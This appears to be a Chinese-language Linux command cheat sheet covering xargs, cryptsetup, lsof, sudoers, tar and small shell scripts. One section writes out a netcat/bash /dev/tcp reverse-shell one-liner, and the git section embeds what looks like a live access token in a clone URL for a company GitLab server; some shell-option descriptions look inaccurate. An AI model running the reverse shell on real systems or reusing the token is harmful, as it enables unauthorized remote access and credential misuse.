linux-好命令
xargs基本用法
| # 将标准输入转为命令行参数
echo "hello rumenz" | xargs echo
# 空格作为分隔符
echo "one two three" | xargs mkdir
# 指定制表符\t作为分隔符
echo -e "a\tb\tc" | xargs -d "\t" echo
# -p 打印出要执行的命令并询问用户是否要执行
echo 'one two three' | xargs -p touch
# 统计文件大小
ls | xargs -I {} sh -c 'du -hd0 {}' ==== ls | xargs -I 9999 sh -c 'du -hd0 9999'
12K containerd
28K code
68M pyenv
|
NC实现反弹shell
| 0, 1, 和 2: 这些是标准的文件描述符。
0 代表标准输入(stdin)
1 代表标准输出(stdout)
2 代表标准错误(stderr)
&: 在重定向语法中,& 通常用于将一个文件描述符与另一个文件描述符或文件结合起来,例如 2>&1,这表示将标准错误重定向到标准输出。
>: 这是一个重定向操作符,用于将输出重定向到文件或设备。
&> 或 >&:将标准输出和标准错误都重定向
|
主控端先执行:
nc -l 8888
被控端执行
bash -i &> /dev/tcp/主控端IP/8888 0>&1
而后在主控端操作的效果就和在被控端操作一模一样
cryptsetup
1、使用 cryptsetup luksFormat 命令对磁盘进行加密。
| 当提示时,你需要输入大写的 YES,并输入密码来加密磁盘:
cryptsetup luksFormat /dev/sda1
|
2、cryptsetup luksOpen 命令将加密的分区映射到一个逻辑设备上。
例如,使用 encryptedvdc1 作为名称。你还需要再次输入密码
| sudo cryptsetup luksOpen /dev/sda1 encryptedvdc1
Enter passphrase for /dev/sda1:
|
加密分区现在在 /dev/mapper/encryptedvdc1 中可用
3、使用 cryptsetup luksClose 命令锁定分区
| cryptsetup luksClose encryptedvdc1
|
GIT
git使用令牌clone代码仓库
| git clone https://oauth2:oz3dSdWQE2zon6DqwemY@gitlab.inone.nsfocus.com/tp/CNEOSv2/OS/driver/driver-marvell/driver/ngbe.git
|
lsof
| 选项 |
描述 |
示例 |
| ^ |
用于列出除指定的用户、PID 和 UID 之外的所有打开的文件。 |
lsof -u^root |
| -u |
列出指定用户打开的文件。 |
lsof -u tom lsof -u^root |
| -c |
列出指定进程打开的文件。 |
lsof -c network |
| -p |
列出由指定进程 ID 打开的文件。 |
lsof -p 11 lsof -p PID1, PID2, PID3 |
| +D |
列出特定目录打开的文件。 |
lsof +D /var/log |
| -i |
列出由网络连接、协议和端口打开的文件。 |
-i UDP -i :631 -i TCP:1-44653 -i 6(ipv6) |
sudo
| sudo /etc/sudoers |
|---|
| # 允许 sudo 组执行所有命令
%sudo ALL=(ALL:ALL) ALL
# 允许用户执行所有命令,且无需输入密码
escape ALL=(ALL) NOPASSWD: ALL
# 仅允许用户执行 echo, ls 命令
escape ALL=(ALL) NOPASSWD: /bin/echo /bin/ls
# 运行本机的用户执行关机命令
escape localhost=/sbin/shutdown -h now
# 允许 users 用户组中的用户像 root 用户一样使用 mount、unmount、chrom 命令
%users ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom
|
| sudo Defaults |
|---|
| # 指定用户尝试输入密码的次数,默认值为3
Defaults passwd_tries=5
# 设置密码超时时间,默认为 5 分钟
Defaults passwd_timeout=2
默认 sudo 询问用户自己的密码,添加 targetpw 或 rootpw 配置可以让 sudo 询问 root 密码
Defaults targetpw
# 指定自定义日志文件
Defaults logfile="/var/log/sudo.log"
# 要在自定义日志文件中记录主机名和四位数年份,可以加上 log_host 和 log_year 参数
Defaults log_host, log_year, logfile="/var/log/sudo.log"
# 保持当前用户的环境变量
Defaults env_keep += "LANG LC_ADDRESS LC_CTYPE COLORS DISPLAY HOSTNAME EDITOR"
Defaults env_keep += "ftp_proxy http_proxy https_proxy no_proxy"
# 安置一个安全的 PATH 环境变量
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
|
开头注释行
在 shell 脚本的开头注释行(#!/bin/sh)中,可选项:
| 选项 |
描述 |
| -e |
任何一行命令出错,整个脚本就会退出 |
| -u |
当使用未赋值的变量时,输出错误信息并退出。这可以避免未初始化变量导致的bug。 |
| -x |
在执行每条命令之前,先将其显示出来。这使得调试更容易,因为你可以看到脚本的执行流程。 |
| -v |
显示 shell 输入行。和 -x 类似,但只显示 shell 真正执行的命令,而不显示注释等。 |
| -n |
不要执行任何命令,只检查语法错误。这对脚本调试也很有用。 |
| -f |
禁止文件名代换。通常 shell 会将文件名中包含的字符替换为文件名。该选项禁止这种行为,避免出现意外。 |
| -i |
使脚本以交互模式运行。在非交互模式下,shell 会忽略终端输入。该选项允许脚本在运行过程中获取输入。 |
| -s |
在 shell 中读取标志参数(脚本的参数)。默认情况下,shell 脚本不能直接读取传递给它的参数。该选项开启此功能。 |
| -C |
像 C 语言注释一样处理注释。以 # 开头的注释会被忽略,直到行尾。 |
tar
| # 可使用来追加文件
$ tar -cvf test.tar.gz a.txt
$ tar -rvf test.tar.gz b.txt
# 即tar.gz是无法追加文件
# -z: 压缩文件
# -c: 归档文件
$ tar -zcvf test.tar.gz c.txt
# 查看归档内容
$ tar -tf test.tar.gz
|
😀网卡网速
iftop查看服务器网速 或者使用下面的脚本
| #!/bin/bash
dev=eth0
function net_speed(){
while true
do
RX=`ifconfig $dev | grep "RX pack" | awk '{printf($5)}'`
TX=`ifconfig $dev | grep "TX pack" | awk '{printf($5)}'`
sleep 1
RX2=`ifconfig $dev | grep "RX pack" | awk '{printf($5)}'`
TX2=`ifconfig $dev | grep "TX pack" | awk '{printf($5)}'`
printf "\r当前$dev实时网速 下载:%3dMB/S\t上传:%3dMB/S\t总和:%3dMB/S\t" $((($RX2-$RX)/1048576)) $((($TX2-$TX)/1048576)) $((($RX2+$TX2-$RX-$TX)/1048576))
done
}
net_speed $dev
|
打印棋盘
| for i in {1..8}
do
for j in {1..8}
do
sum=$[i+j]
if [ $[sum%2] -eq 0 ];then
echo -ne "\033[46m \033[0m"
else
echo -ne "\033[47m \033[0m"
fi
done
echo
done
|
shell锁
| signal_handler() {
printf "收到信号 $1"
rm -rf -- "$lockdir"
printf "锁已释放"
}
for sig in $(seq 1 64); do
trap "signal_handler $sig" $sig
done
lockdir=/tmp/myscript.lock
if mkdir -- "$lockdir"; then
printf >&2 '成功获取锁定\n'
sleep 10
# 当脚本完成或接收到信号时,删除lockdir
# 可以选择在此目录中创建临时文件:
tmpfile=$lockdir/filelist
trap 'rm -rf -- "$lockdir"' 0 # 脚本正常结束时删除目录
else
printf >&2 '无法获取锁定,放弃:%s\n' "$lockdir"
exit 0
fi
|